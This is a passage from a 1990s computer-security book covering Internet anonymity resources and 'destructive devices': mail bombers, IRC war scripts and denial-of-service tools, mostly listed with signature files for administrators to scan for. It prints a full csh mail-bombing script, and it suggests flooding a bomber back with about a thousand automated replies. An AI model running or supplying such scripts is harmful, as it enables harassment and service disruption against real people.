choose a provider. Most individuals who \ndo this on a regular basis have lists of providers that allow \"instant access,\" where you \nprovide your vitals, your credit card, your desired login, your password, and so forth. \nWithin minutes, you are surfing the Net. \nUsing this technique, you can reliably obtain total anonymity for short periods of time, \nperiods long enough to perform the desired task. The only hope that authorities have of \ncatching you is to elicit corroborative testimony of a coconspirator, or if you establish a \npattern of activity--for example, if spend your nights breaking into machines owned or \noperated by security specialists who are also talented hackers. \n \nNOTE: I have not suggested here that any reader undertake the action described here. If \nyou do so, you do it at your own peril. These actions amount to crime--or, in fact, a series \nof crimes. Here, I have merely explained one technique, and no more. Neither I nor Sams \nPublishing advocate, support, or condone such activity. \n \nFor my more law-abiding readers (the majority, I hope), there are varying degrees of \nanonymity that can be obtained. It depends upon why you want to hide and the sensitivity \nof the data you are trafficking. It has been recognized that there are plenty of legitimate \nreasons for allowing anonymity on the Internet. The following is excerpted from \n\"Anonymity for Fun and Deception: The Other Side of `Community'\" by Richard Seltzer: \nSome communities require anonymity for them to be effective, because without it \nmembers would not participate. This the case with Alcoholics Anonymous, AIDS support \ngroups, drug addiction support and other mutual help organizations, particularly when \nthere is some risk of social ostracism or even legal consequences should the identity of \nthe members be revealed. \n \nCross Reference: \"Anonymity for Fun and Deception: The Other Side of `Community'\" \nby Richard Seltzer can be found on the Web at \nhttp://www.samizdat.com/anon.html. \n \nThis is a recurring theme in the now-heated battle over Internet anonymity. Even many \nmembers of the \"establishment\" recognize that anonymity is an important element that \nmay preserve free speech on the Internet--not just here, but abroad. This issue has \nreceived increased attention in legal circles. An excellent paper on the subject was written \nby A. Michael Froomkin, a lawyer and prominent professor. In \"Anonymity and Its \nEnmities,\" Froomkin writes \nPersons who wish to criticize a repressive government or foment a revolution against it may find \nremailers invaluable. Indeed, given the ability to broadcast messages widely using the Internet, \nanonymous e-mail may become the modern replacement of the anonymous handbill. Other \n" }, { "page_number": 252, "text": " \n \nexamples include corporate whistle-blowers, people criticizing a religious cult or other movement \nfrom which they might fear retaliation, and persons posting requests for information to a public \nbulletin board about matters too personal to discuss if there were any chance that the message \nmight be traced back to its origin. \n \nCross Reference: \"Anonymity and Its Enmities\" by Professor Froomkin is an excellent \nsource for links to legal analysis of Internet anonymity. Especially for journalists, the \npaper is an incredible resource. It can be found on the Web at \nhttp://warthog.cc.wm.edu/law/publications/jol/froomkin.html. \n \nHowever, not everyone feels that anonymity is a good thing. Some people believe that if \nanonymity is available on the Internet, it amounts to nothing but anarchy. Here is a rather \nironic quote, considering the source is Computer Anarchy: A Plea for Internet Laws to \nProtect the Innocent by Martha Seigel: \nPeople need safety and order in cyberspace just as they do in their homes and on the streets. The \ncurrent state of the Internet makes it abundantly clear that general anarchy isn't working. If \nrecognized governments don't find a way to bring order to the growing and changing Internet, \nchaos may soon dictate that the party is over. \nYou may or may not know why this quote is so incredibly ironic. The author, Martha \nSeigel, is no stranger to \"computer anarchy.\" In her time, she has been placed on the \nInternet Blacklist of Advertisers for violating network policies against spamming the \nUsenet news network. The following is quoted from the docket listing on that blacklist in \nregards to Cantor & Seigel, Ms. Seigel's law firm: \nThe famous greencard lawyers. In 1994, they repeatedly sent out a message offering their services \nin helping to enter the U.S. greencard lottery to almost all Usenet newsgroups. (Note in passing: \nthey charged $100 for their service, while participating in the greencard lottery is free and consists \nmerely of sending a letter with your personal information at the right time to the right place.) \nWhen the incoming mail bombs forced their access provider to terminate their account, they \nthreatened to sue him until he finally agreed to forward all responses to them. \n \nCross Reference: The Internet Blacklist can be found on the Web at \nhttp://www.cco.caltech.edu/~cbrown/BL/. \n \nI should mention here that Cantor and Seigel are the authors of How To Make A Fortune \nOn The Information Superhighway (HarperCollins, 1994). For Internet marketers, this \nbook is purportedly a must-read. \nI also understand that a new book by Seigel, How to Make a Fortune on the Internet \n(HarperCollins), is forthcoming. \nHowever, all this may be academic. As we move toward a cashless society, anonymity \nmay be built into the process. In this respect, at least, list brokers (and other unsavory \ninformation collectors) had better do all their collecting now. Analysis of consumer \nbuying habits will likely become a thing of the past, at least with relation to the Internet. \nThe majority of electronic payment services being developed (or already available) on the \nInternet include anonymity as an inherent part of their design. \n \nCross Reference: Dan Fandrich, a prominent programmer and computer enthusiast in \nBritish Columbia, has compiled a comprehensive list of such systems. That list is located \n" }, { "page_number": 253, "text": " \n \nat http://vanbc.wimsey.com/~danf/emoney-anon.html. Of the systems \nFandrich researched, here are a few: \n• \nDigiCash \n• \nCafé \n• \nCyberCash \n• \nNetBank/NetCash \n• \nFirst Virtual \n \nFandrich's research demonstrates a few significant points. Some systems claim to offer \n\"total\" anonymity, but they really don't. He observes, for example, that many systems \nkeep logs of the activity. This represents one important issue. While individuals are \nconcerned with their privacy, and banks would like to ensure that privacy, some medium \nmust be reached. Because if there is total anonymity, how can crimes be adequately \ninvestigated? Certainly, new fraud schemes will arise as a result of these new \ntechnologies. For example, a technique is already known for defeating the security of \nsmartcards. (I will not be printing that here, I'm afraid.) \nIn short, complete anonymity on the Internet is becoming less and less easy to lawfully \nobtain. However, advanced research in the area of anonymous payment schemes will \nprobably turn that around dramatically in the next five years. For, while government \nagencies are circumspect about Internet anonymity, the coming age of Internet commerce \nalmost demands it. That is where the research is going at the moment, and there is no \nindication of that trend changing in the near future. \nSummary \nThis chapter discusses a variety of ways you can conceal your identity, including using \nutilities such as finger, the r commands, and Master Plan. The issue of cookies is \naddressed. Finally, the issue of anonymity is discussed as it relates to Usenet postings and \nthe WHOIS service. \nResources \nPrivacy & Anonymity on the Internet FAQ. L. Detweiler. Many sources on privacy \nand anonymity on the Internet. A must for users new to identity issues on the Net. \n• \nhttp://www.prz.tu-\nberlin.de/~derek/internet/sources/privacy.faq.02.html \nAnonymous Remailer FAQ. Andre Bacard. A not-too-technical description of anon \nremailers, how they work, and where they can be found. \n• \nhttp://www.well.com/user/abacard/remail.html \nNote: Bacard is also the author of Computer Privacy Handbook (\"The Scariest Computer \nBook of the Year\"). \n" }, { "page_number": 254, "text": " \n \nThe Anonymous Remailer List. Raph Levien. Locations of anonymous remailers on the \nInternet. \n• \nhttp://www.cs.berkeley.edu/~raph/remailer-list.html \nHow-To Chain Remailers. Alex de Joode. A no-nonsense tutorial on how to chain \nremailers and, in doing so, send a totally anonymous message. \n• \nhttp://www.replay.com/remailer/chain.html \nPrivacy on the Internet. David M. Goldschlag, Michael G. Reed, and Paul F. Syverson: \nNaval Research Laboratory Center For High Assurance Computer Systems. A good \nprimer that covers all the aspects discussed in this chapter. \n• \nhttp://www.itd.nrl.navy.mil/ITD/5540/projects/onion-\nrouting/inet97/index.htm \nAnonymous Connections and Onion Routing. David M. Goldschlag, Michael G. Reed \nand Paul F. Syverson: Naval Research Laboratory Center For High Assurance Computer \nSystems. PostScript. Presented in the Proceedings of the Symposium on Security and \nPrivacy in Oakland, Calif., May 1997. A quite detailed analysis of anonymous \nconnections and their resistance to tracing and traffic analysis. (Also discusses \nvulnerabilities of such systems. A must read.) \n• \nhttp://www.itd.nrl.navy.mil/ITD/5540/projects/onion-\nrouting/OAKLAND_97.ps \nSpecial Report: Privacy in the Digital Age. Susan Stellin. CNET article containing \nresources on privacy on the Internet. \n• \nhttp://www.cnet.com/Content/Features/Dlife/Privacy/ \nThe Electronic Frontier Foundation. Comprehensive sources on electronic privacy. \n• \nhttp://www.eff.org/ \nThe Electronic Privacy Information Center (EPIC). Civil liberties issues. This site is \nindispensable in getting legal information on privacy and anonymity on the Internet and \nelsewhere. \n• \nhttp://epic.org/ \nComputer Professionals for Social Responsibility--CPSR. A group devoted to \ndiscussion about ethics in computer use. \n• \nhttp://snyside.sunnyside.com/home/ \nThe Anonymizer. A site that offers free anonymous surfing. The application acts as a \nmiddleman between you and the sites you surf. Basically, it is a more complex proxying \nservice. It allows chaining as well, and your IP is stripped from their logs. \n• \nhttp://www.anonymizer.com/ \n" }, { "page_number": 255, "text": " \n \nArticles and Papers \nOn Shopping Incognito. R. Hauser and G. Tsudik. Second USENIX Workshop on \nElectronic Commerce, November 1996. \n• \nhttp://www.isi.edu/~gts/paps/hats96.ps.gz \nThe Anonymous E-mail Conversation. Ceki Gulcu. Technical Report, Eurecom \nInstitute. June 1995. \nControl of Information Distribution and Access. Ralf C. Hauser. Technical Report, \nDepartment of Computer Science, University of Zurich. September 1995. \nInternet Privacy Enhanced Mail. Stephen T. Kent. Communications of the ACM, \nvol.36 no.8, August 1993. \nCertified Electronic Mail. Alireza Bahreman, J. D. Tygar. 1994. \n• \nftp://ftp.cert.dfn.de/pub/pem/docs/CEM.ps.gz \nE-Mail Security. Dr. John A. Line. UKERNA Computer Security Workshop, November \n15-16, 1994. \n• \nftp://ftp.cert.dfn.de/pub/pem/docs/UKERNA-email-security.ps.gz \nAnonymous Internet Mercantile Protocol. David M. Kristol, Steven H. Low, and \nNicholas F. Maxemchuk. 1994. \n• \nhttp://julmara.ce.chalmers.se/Security/accinet.ps.gz \nAnonymous Credit Cards. Steven Low and Nicholas F. Maxemchuk and Sanjoy Paul. \n1994. \n• \nhttp://julmara.ce.chalmers.se/Security/anoncc.ps.gz \nNetCash: A Design for Practical Electronic Currency on the Internet. Gennady \nMedvinsky and B. Clifford Neuman. 1993. \n• \nhttp://julmara.ce.chalmers.se/Security/netcash2.ps.gz \nElectronic Fingerprints: Computer Evidence Comes of Age. Anderson, M.R., \nGovernment Technology Magazine, November 1996. \nAchieving Electronic Privacy. David Chaum. Scientific American, pp. 96-101, August \n1992. \nErased Files Often Aren't. Anderson, M.R., Government Technology Magazine, \nJanuary 1997. \nFBI Seeks Right to Tap All Net Services. Betts, M. ComputerWorld, Vol. XXVI, No. \n23, June 8, 1992. \n" }, { "page_number": 256, "text": " \n \n14 \nDestructive Devices \nIn this chapter, I examine munitions that I classify as destructive devices. Destructive \ndevices are software programs or techniques that accomplish either of the following \nobjectives: \n• \nHarassment \n• \nDestruction of data \nThese devices are all relatively low-level tools and techniques, more likely to be \nemployed by immature users, disgruntled employees, or kids. Such tools and techniques \nexist, to the chagrin of the serious computing communities, but they exist nonetheless. It \nis important that new system administrators (and indeed, average users) know about such \ndestructive devices, so I have included them here even though they are not front-line \nsecurity issues for most networks. \nThe use of these devices is becoming widespread. With the rise of the GUI (and the \nincreased availability of programming tools and languages to the general populace), this \ntrend can only be expected to continue. \n \nNOTE: The average high school student now has access to C, C++, Pascal, BASIC, and \nso on. School policies are usually very strict about students copying such software, but \nmost youngsters pay little attention. I have a client in Los Angeles whose son has built an \nenormous collection of programming tools. He obtained all those programs at his high \nschool. (Young college students get these software products legally, perhaps, but at the \ngreatly reduced rate for educational institutions. Therefore, they have ready access, \nirrespective of how they acquire such tools.) \n \nIt should be noted that destructive devices can be a security risk for small networks or \nsingle servers. If your box is hooked up via Ethernet with a fast connection and you have \nonly one mail server, an e-mail bomb attack on one of your users could temporarily grind \nyour machine to a halt. \nI have chosen to highlight four key utilities within the destructive device class: \n• \nE-mail bombs and list linking \n• \nFlash bombs and war scripts \n• \nDenial-of-service tools \n• \nViruses \n" }, { "page_number": 257, "text": " \n \nOf these items, only the last two (denial-of-service tools and viruses) are of any real \nconsequence. They have the potential for real damage or, equally dangerous, serious \nbreach of a server's security. (These are discussed in the last half of this chapter.) The \nfirst two, in contrast, have been briefly dealt with in previous chapters. Here, I take a \nmore comprehensive look at these innocuous but irritating tidbits. \nThe E-mail Bomb \nI cannot say for certain when the first user \"e-mail bombed\" another. However, I imagine \nit wasn't long after e-mail became available. (Old-timers adamantly dispute this, \nexplaining that they were far too responsible for such primitive activity. Hmmm.) In any \nevent, in this section you will find the key utilities being distributed for this purpose. \nUp Yours \nThe Up Yours mail-bombing program is probably the most popular bomber out there. It \nuses minimal resources, does a superb job, has a simple user interface, and attempts to \nobscure the attacker's source address. Features of the program include being able to \nspecify times of day to start and stop as well as the number of messages with which it \nwill hammer the target. Figure 14.1 shows the main screen of Up Yours. (The author \nclearly has a lively sense of humor.) \nFigure 14.1. \nThe Up Yours mail-bombing program. \nVersion 2.0 of this utility was released sometime in March 1997. This bomber runs only \non the Microsoft Windows platform. As you might expect, the tech support is wanting, \nbut the program is free nonetheless. If you are a system administrator, you will want to \nscan your local drives for the following files: \nupyours.exe \nupyours2.zip \nupyours3.zip \nIf these files appear in a user's directory, there is a strong likelihood that he is about to e-\nmail bomb someone (of course, perhaps he simply spends his time collecting hacking and \ncracking programs). In any event, the utility is hard to find. If one of your users has \nacquired this program, he clearly has an interest in hacking or cracking. \nKaBoom \nKaBoom differs significantly from Up Yours. For one thing, KaBoom has increased \nfunctionality. For example, traveling from the opening screen (see Figure 14.2) to the \nmain program, you find a utility to list link. Using this function, you can subscribe your \ntarget to hundreds of e-mail lists. (Do you remember the case in Chapter 4, \"Just Who \nCan be Hacked, Anyway?,\" where a senior editor of Time magazine was list linked to \nthousands of mailing lists?) \nFigure 14.2. \nKaBoom! \n" }, { "page_number": 258, "text": " \n \n \nNOTE: List linking is a rather insidious activity and a not-so-subtle form of harassment. \nIt works like this: On the Internet are mail servers that distribute mail messages collected \nfrom various sources. These messages invariably concentrate on a special-interest subject \n(the subject of security, for example). These mail servers (sometimes called list servers) \ncollect such messages and mail them to members of the list on a daily, weekly, or \nmonthly basis. Members can subscribe to such a list in several ways, though most \ncommonly through e-mail. When I say that a target has been list-linked, I mean the target \nhas been subscribed (without his consent) to one or more mailing lists. This is usually \ndone with a tool like KaBoom. Such tools submit registration requests on behalf of the \nvictim, forging his e-mail address. \n \nThis utility works quite well, but the interface is poorly programmed. (For example, the \nmain list window presents the lists as selectable from check boxes. This is shoddy work. \nThe programmer could have saved time and space by running them through a list box \ninstead. It takes a lot of work using this utility to link the target to any significant number \nof lists; the bombing party is forced to scroll down to obtain more lists.) \nIn any event, this utility's signature files are these: \nkaboom!3.zip \nkaboom3.exe \nAvalanche \nThe Avalanche e-mail bombing utility works smoothly and is well designed. As you can \nsee in Figure 14.3, the list groups are displayed in a drop-down combo box, and their \nindividual lists are displayed in a list box. Three clicks of a mouse and your target is in \nhot water. \nFigure 14.3. \nAvalanche. \n \nTIP: The programmer here was a bit absentminded. The program was written at least in \npart in Microsoft Visual Basic 4.0. As such, there are a series of DLL files that are \nrequired to run the application. These are missing from the general distribution of this \nutility; therefore, serious bombers must go out onto the Internet to retrieve those files \n(one is OC2.DLL). Because of this, I would estimate that Avalanche is probably used \nless than its counterparts, even though its overall design is superior. Inconvenience \ndiscourages most users of this particular ilk. \n \nThe signature files for this product are \nalanch10.zip \navalanche20.zip \navalanche.exe \nUnabomber \nThe Unabomber utility is a rudimentary tool, but one must give the author credit for \nhumor. As you can see in Figure 14.4, Unabomber offers no list-linking capabilities. It is \nessentially a flat e-mail bomber and does no more than send messages over and over. One \n" }, { "page_number": 259, "text": " \n \ninteresting element is that Unabomber comes with a help function. (As though you would \nactually need it.) \nFigure 14.4. \nThe Unabomber. \nThe signature files for this utility are \nunabomb.zip \nunabomb.exe \neXtreme Mail \neXtreme Mail is well programmed. It has all the basic features of a commercial \napplication, including an interactive installation process. The installation process \nperforms all the routine checks for disk space, resources, and so forth. It also observes \nproper registry conventions and is easily uninstalled. This is a relatively new mail \nbomber, and apparently, the name eXtreme is also the name of the group that produced \nthe software. Figure 14.5 shows eXtreme Mail's main page. \nFigure 14.5. \neXtreme Mail. \nThe signature files for this product are \nxmailb1.zip \nxmailb1.exe \nHomicide \nThe Homicide utility was written by a youngster with the moniker Frys and was \ndiscontinued in 1996. The author claims that he wrote the utility because Up Yours 2.0 \nwas inadequate as an e-mail bombing tool. However, with the release of Up Yours 3.0, \nFrys apparently decided to discontinue any further releases. As of March 1997, it is \navailable only at a very few select sites. The signature files for this utility are \nhomicide.zip \nhomicide.exe \nThe UNIX MailBomb \nThis UNIX e-mail bomber is reportedly written by CyberGoat, an anonymous cracker out \nin the void. The programming is so-so. In fact, the author made no provisions in the event \nthat the originating server has restrictions on multiple processes. (Perhaps a sleep call \nwould have been wise.) The signature file on this one is mailbomb.csh. \n#!/bin/csh \n# Anonymous Mailbomber \n# do chmod u+rwx where filename is the name of the file that \n# you saved it as. \n#*** WARNING - THIS WILL CREATE AND DELETE A TEMP FILE CALLED \n# \"teltemp\" \n# IN THE DIRECTORY IT IS RUN FROM **** \nclear \necho -n \"What is the name or address of the smtp server ?\" \nset server = $< \n" }, { "page_number": 260, "text": " \n \n#echo open $server 25 > teltemp \necho quote helo somewhere.com >> teltemp \n#The entry for the following should be a single name (goober), \n#not goober@internet.address. \necho -n \"Who will this be from (e.g. somebody) ?\" \nset from = $< \necho quote mail from: $from >> teltemp \necho -n \"Who is the lucky recipient (e.g. someone@somewhere) ? \" \nset name = $< \necho quote rcpt to: $name >> teltemp \necho quote data >> teltemp \necho quote . >> teltemp \necho quote quit >> teltemp \necho quit >> teltemp \necho -n \"How many times should it be sent ?\" \nset amount = $< \nset loop_count = 1 \nwhile ($loop_count <= $amount) \n echo \"Done $loop_count\" \n ftp -n $server 25 < teltemp \n @ loop_count++ \nend \nrm ./teltemp \necho $amount e-mails complete to $name from $from@$server \n# -------------------- \n# MailBomb by CyBerGoAT \nBombtrack \nThe Bombtrack utility is reportedly the first mail-bombing tool written for the Macintosh \nplatform. (This is of some significance. Programming a garden-variety utility like this on \nthe Microsoft Windows platform is simple, and can be accomplished almost entirely with \na visual design interface. Very little code needs to go into it. Writing for the Mac \nplatform, however, is a slightly different affair.) \nBasically, Bombtrack is another run-of-the-mill bombing utility, widely available at \nhacker sites across the Internet. The signature file for this application is \nbombtrack.bin \nFlameThrower \nFlameThrower is a bombing utility written for Macintosh. Its main purpose is list linking; \nit allows the user to subscribe his target to 100 lists. The binary is quite large, considering \nits intended purpose. The author should get some credit for style of design, but Macintosh \nusers are fairly stylish as a rule. The signature for this file is \nflamethrower10b.sit.bin \nGeneral Information About E-Mail Bombs \nE-mail bombing is nothing more than nuisance material. The cure is generally a kill file \nor an exclusionary scheme. An exclusionary scheme is where you bar entry of packets \nreceived from the source address. As discussed in Chapter 13, \"Techniques to Hide One's \nIdentity,\" obtaining the source address is a fairly simple process, at least in a UNIX \n" }, { "page_number": 261, "text": " \n \nenvironment. Really, it involves no more than reading the message in Mail as opposed to \nPine or Elm; this will reveal the actual source address and expand the path. Examining \nthe complete path (even in Netscape Navigator, for example) will give you the \noriginating mail server. \nIf you maintain a site and malicious users from the void start bombing you, contact their \npostmaster. This is usually quite effective; the user will be counseled that this behavior is \nunnecessary and that it will not be tolerated. In most cases, this proves to be a sufficient \ndeterrent. (Some providers are even harsh enough to terminate the account then and \nthere.) However, if you are faced with a more difficult situation (for example, the ISP \ncouldn't care less if its users bombed the Internet collectively), you might have to take \nmore aggressive measures. \nOne such measure is to block traffic from the originating network at the router level. \n(There are various packet-filtering techniques that you can apply.) However, if this \ndoesn't suit your needs (or your temperament), there are other, more proactive solutions. \nOne fine technique that's guaranteed to work is this: Fashion a script that catches the \noffending e-mail address each time it connects to your mail server. For each such \nconnection request, terminate the connection and autorespond with a polite, 10-page \nadvisory on how such attacks violate acceptable use policies and that, under certain \ncircumstances, they may violate the law. After the offending party has received 1,000 or \nso returns of this nature, his previously unconcerned provider will bring the offender onto \nthe carpet and promptly chop off his fingers. \nThere are renegade providers around, and there is absolutely no reason that you cannot \nundertake such action. After all, you have done no more than refuse the connection and \nissue an advisory. It is hardly your fault if the warning was not heeded. Notwithstanding \nvarious pieces of legislation to bring the Internet into the civilized world, it is still much \nlike the Old West. If another provider refuses to abide by the law and generally accepted \npractices, take it down to the OK Corral. One last point here: To make this technique \nespecially effective, be sure to CC the postmaster of the bomber's site with each \nautorespond message. \n \nNOTE: These aggressive techniques can only be implemented in the event of a garden-\nvariety mail-bombing situation. This will not work for list linking because list linking is a \nprocess that obscures the true origin address of the attacker. The only way to obtain that \naddress if is the list owner (whoever is responsible for the mailing list server) runs \nlogging utilities and actually keeps those logs. \nFor example, suppose the list accepts subscription requests from a Web \npage. It can easily obtain the address by checking the HTTP server \nconnection log (this file is normally called access.log). HTTP servers \nrecord the originating IP address of each connection. However, the large \nmajority of lists do not accept subscription requests through their Web \npages. Instead, they use garden-variety mail. The percentage of system \nadministrators who heavily log connection requests to their mail server is \nfairly small. Moreover, to trace the attacker, you would need help from \nmore than just the system administrator at the mail list site; suppose the \nattacker was using a dial-up connection with a dynamically allocated IP \n" }, { "page_number": 262, "text": " \n \naddress. After you acquire that IP from the mail-list system administrator, \nyou must convince the attacker's ISP to cooperate by forwarding its logs to \nyou. \nFurthermore, unless the attacker's ISP is running good logging utilities, the \nlogs you receive will only demonstrate a list of possible suspects (the users \nwho were logged to that IP or dial-up at the hour of the attack). Even more \nresearch may be required. For this reason, list linking has become far more \npopular than run-of-the-mill mail bombing. \n \nIRC: Flash Bombs and War Scripts \nFlash utilities (also referred to as flash bombs) belong to a class of munitions that are \nused on Internet Relay Chat (IRC). IRC is the last free frontier because it is spontaneous \nand uncontrollable. It consists of people chatting endlessly, from virtual channel to virtual \nchannel. There is no time for advertisements, really, and even if you tried to push your \nproduct there, you would likely be blown off the channel before you had a chance to say \nmuch of anything. \nIn this respect, IRC is different from any other networked service on the Internet. IRC is \ngrass roots and revolutionary Internet at its best (and worst), and with all likelihood, it \nwill remain that way forever. \nIRC was developed in Finland in the late 1980s. Some suggest that its purpose was to \nreplace other networking tools of a similar ilk (for example, the talk service in UNIX). \nTalk is a system whereby two individuals can communicate on text-based terminals. The \nscreens of both users split into two parts, one for received text and one for sent text. In \nthis respect, talk operates a lot like a direct link between machines using any of the \npopular communications packages available on the market (Qmodem and ProComm Plus \nare good examples). The major difference is that talk occurs over the Internet; the \nconnection is bound by e-mail address. For example, to converse with another party via \ntalk, you issue a command as follows: \ntalk person@provider.com \nThis causes the local talk program to contact the remote talk daemon. If the person is \navailable (and hasn't disabled incoming connections via talk), the screen soon splits and \nthe conversation begins. \nIRC differs from talk in that many people can converse at the same time. This was a \nmajor innovation, and IRC chatting has become one of the most popular methods of \ncommunication on the Net. \n \nNOTE: IRC is one of the few places on the Internet where an individual can successfully \nevade even advanced detection techniques. For instance, many software pirates and \ncrackers frequent IRC. If they are extremely paranoid, they change servers and screen \nnames every half hour or so. Moreover, they often create their own channels instead of \nfrequenting those already available. Finally, file transfers can be done over IRC, directly \nfrom point A to point B. No record is left of such a transfer. This differs from other types \nof transfers that may be closely logged. Similar types of transfers can also be made if at \n" }, { "page_number": 263, "text": " \n \nleast one of the parties is running servers such as FTP, HTTP, or Gopher. However, IRC \nallows such a transfer without server software running on either box. \n \nInternet warfare (that is, \"hand-to-hand\" combat) often occurs on IRC because IRC is \nlawless--a place where almost anything goes. Briefly, it works like this: Once connected \nto an IRC server, a user can go into a series of channels called chat spaces. Inside each \nchannel, there is an operator, or a person who has some authority--authority, for \nexample, to \"kick\" any user forwarding information that the operator deems \nobjectionable. (Kicking is where the target is bumped from the channel and is forced to \nreconnect.) The operator can also ban a user from the channel, either temporarily or semi-\npermanently. \n \nNOTE: The first person to connect to (or create) an empty channel is automatically the \noperator by default. Unless he voluntarily relinquishes that authority, he has complete \ncontrol of the channel and can institute kick or ban actions against anyone who \nsubsequently joins the channel. \n \nAs you might expect, people who get kicked or banned often respond angrily. This is \nwhere combat begins. Since the introduction of IRC, dozens of munitions have been \ndeveloped for use in IRC combat. They are described in the following sections. \ncrash.irc \nAlthough not originally designed for it, crash.irc will blow a Netcom target out of IRC. \nIn other words, an attacker uses this utility to force a Netcom user from a channel \n(Netcom is a very large ISP located in northern California). \nbotkill2.irc \nThe botkill2.irc script kills bots. Bots are other automated scripts that run in the IRC \nenvironment. \nACME \nACME is a typical \"war\" script. Its features include flooding (where you fill the channel \nwith garbage, thereby denying others the ability to communicate) and the ability to auto-\nkick someone from a channel. \n \nNOTE: Flooding can deny other users access simply because of the volume of text run \nthrough the server. It works like this: The attacker unleashes a flooding utility that \ngenerates many, many lines of text. This text is printed across the terminals of all users \ncurrently logged to the channel. Because this text saturates the write-ahead buffer of all \nclient programs, the victims must wait for the flood to stop before they can type any \nfurther messages. Interestingly, many flood scripts actually fashion images from various \ntext characters. If you watch such a flood for a moment, you will see some type of image \ndevelop. This activity is similar to ASCII art, which is now a popular form of artistic \nexpression on text-based terminals that cannot display actual graphics. Of course, \nflooding is very irritating and therefore, few users are willing to tolerate it, even if the art \nthat results is attractive. \n \n" }, { "page_number": 264, "text": " \n \nSaga \nSaga is a sophisticated and complex script; it performs more functions than those used in \ncombat. The main features are that it can \n• \nKick and ban a target, for either a specified time period or 30-90 seconds \n• \nStrip an operator of his authoritative status \n• \nScreen out all users from a given domain \n• \nBlow all users from the channel \n• \nEnter a channel and kill all operators (this is called takeover mode) \nTHUGS \nTHUGS is another war script. It blows various client programs from IRC, kicks \nunwanted users, seizes control of a channel, and hangs at least one known Windows IRC \nprogram. \nThe 7th Sphere \nAnother war script worth mentioning is The 7th Sphere. The help file describes the utility \nas \"An Equal Opportunity Destroyer.\" Here are some of its capabilities: \n• \nBlow everyone from a channel \n• \nIncisive user flooding (selectively flood only one or more users as opposed to the entire channel) \n• \nColliding capabilities (the capability to cause a collision of nicknames on IRC servers, thereby \nknocking a user with an identical nickname from IRC) \n• \nArmor (prevents you from falling victim to another war script) \n• \nNuke facility (enables you to attack and successfully disable those using Windows IRC clients) \n• \nBuilt-in port scanner \nThere are probably several thousand IRC scripts in the void. I have not offered any \nlocations for these utilities because there is no good reason to provide such information. \nThese tools may be of some limited value if you happen to be on IRC and come under \nattack, but more often, these tools are used to harass others and deny others IRC service. \nIt is amazing how much good programming effort goes into utilities like these. Too bad. \nAdditional Resources \n" }, { "page_number": 265, "text": " \n \nFollowing are some resources related to Internet Relay Chat (IRC). These are especially \nvaluable if you are new to IRC. I have provided these primarily because IRC is not a \nsubject often discussed in books on the Internet. IRC has been--and will likely remain--\nthe purview of crackers and hackers all over the world. \n• \nThe IRC Survival Guide: Talk to the World With Internet Relay Chat. Peachpit Press. Stuart \nHarris. ISBN 0-201-41000-1. 1995. \n• \nLearn Internet Relay Chat (Learn Series). Wordware Publishing. Kathryn Toyer. ISBN 1-\n55622-519-9. 1996. \n• \nPerson to Person on the Internet. AP Professional. Keith Blanton and Diane Reiner. ISBN 0-12-\n104245-6. 1996. \n• \nInteractive Internet: The Insider's Guide to Muds, Moos, and IRC. Prima Publishing. William \nJ. Shefski and Bill Shefski. ISBN 1-55958-748-2. 1995. \n• \nUsing Internet Relay Chat. Que. ISBN 0-7897-0020-4. 1995. \n• \nSunsite, Europe. Comprehensive collection of clients and other software. \nhttp://sunsite.doc.ic.ac.uk/computing/comms/irc/ \n• \nInteractive Synchronous: IRC World. E-Lecture on IRC. \nhttp://www-home.calumet.yorku.ca/pkelly/www/synch.htm \nDenial-of-Service Tools \nI examine denial-of-service attacks in a more comprehensive manner at several points \nthroughout the remainder of this book. Here, I will refrain from discussing how such \nattacks are implemented, but will tell you what tools are out there to do so. \nAncient Chinese \"Ping of Death\" Technique \nThe title is hilarious, right? On more than one occasion, this technique for killing a \nWindows NT 3.51 server has been so called. (Actually, it is more commonly called just \n\"Ping of Death.\") This is not a program, but a simple technique that involves sending \nabnormally large ping packets. When the target receives (or in certain instances, sends) \nthese large packets, it dies. This results in a blue screen with error messages from which \nthe machine does not recover. Microsoft has issued a fix for this. \n \nCross Reference: Read the official advisory on the Ping of Death at \nhttp://www.microsoft.com/kb/articles/q132/4/70.htm. \n \nSyn_Flooder \nSyn_Flooder is a small utility, distributed in C source, that when used against a UNIX \nserver will temporarily render that server inoperable. It utilizes a standard technique of \nflooding the machine with half-open connection requests. The source is available on the \nNet, but I will refrain from printing it here. This is a powerful tool and, other than its \n" }, { "page_number": 266, "text": " \n \nresearch value, it is of no benefit to the Internet community. Using such a tool is, by the \nway, a violation of federal law, punishable by a term of imprisonment. The utility runs on \nany UNIX machine, but was written on the Linux platform by a well-known hacker in \nCalifornia. \nDNSKiller \nDNSKiller is a C program written and intended for execution on the Linux platform. It is \ndesigned to kill the DNS server of a Windows NT 4.0 box. \narnudp100.c \narnudp100.c is a program that forges the IP address of UDP packets and can be used to \nimplement a denial-of-service attack on UDP ports 7, 13, 19, and 37. To understand the \nattack, I recommend examining a paper titled \"Defining Strategies to Protect Against \nUDP Diagnostic Port Denial of Service Attacks,\" by Cisco Systems. Another good source \nfor this information is CERT Advisory CA-96.01. \n \nCross Reference: Cisco Systems' \"Defining Strategies to Protect Against UDP \nDiagnostic Port Denial of Service Attacks\" can be found online at \nhttp://cio.cisco.com/warp/public/707/3.html. \nCERT Advisory CA-96.01 can be found online at \nftp://ftp.cert.org/pub/cert_advisories/CA-\n96.01.UDP_service_denial. \n \ncbcb.c \ncbcb.c is the filename for Cancelbot, written in C. This utility can be used to target \nUsenet news postings of others. It generates cancel control messages for each message \nfitting your criteria. Using this utility, you can make thousands of Usenet news messages \ndisappear. Although this is not traditionally viewed as a denial-of-service attack, I have \nincluded it here simply because it denies the target Usenet service, or more directly, \ndenies him his right to self expression. (No matter how obnoxious his opinion might \nseem to others.) \nwin95ping.c \nThe win95ping.c file is C source code and a program to reproduce and implement a \nform of the Ping of Death attack from a UNIX box. It can be used to blow a machine off \nthe Net temporarily (using the oversized Ping packet technique). There are two versions: \none for Linux, the other for BSD 4.4 systems. \nOther resources exist, but most of them are shell scripts written for use on the UNIX \nplatform. Nevertheless, I would expect that within a few months, tools programmed in \nGUI for Windows and Mac will crop up. Denial-of-service (DoS) attacks are infantile \nand represent only a slightly higher level of sophistication than e-mail bombing. The only \nbenefit that comes from DoS attacks is that they will ultimately provide sufficient \nincentive for the programming community to completely eliminate the holes that allowed \nsuch attacks in the first place. In all other respects, denial-of-service attacks are neither \n" }, { "page_number": 267, "text": " \n \ninteresting nor particularly clever. In any event, the following sections list some resources \nfor them. \nANS Communications \nProducts by ANS Communications are designed to thwart DoS attacks. ANS \nCommunications can be 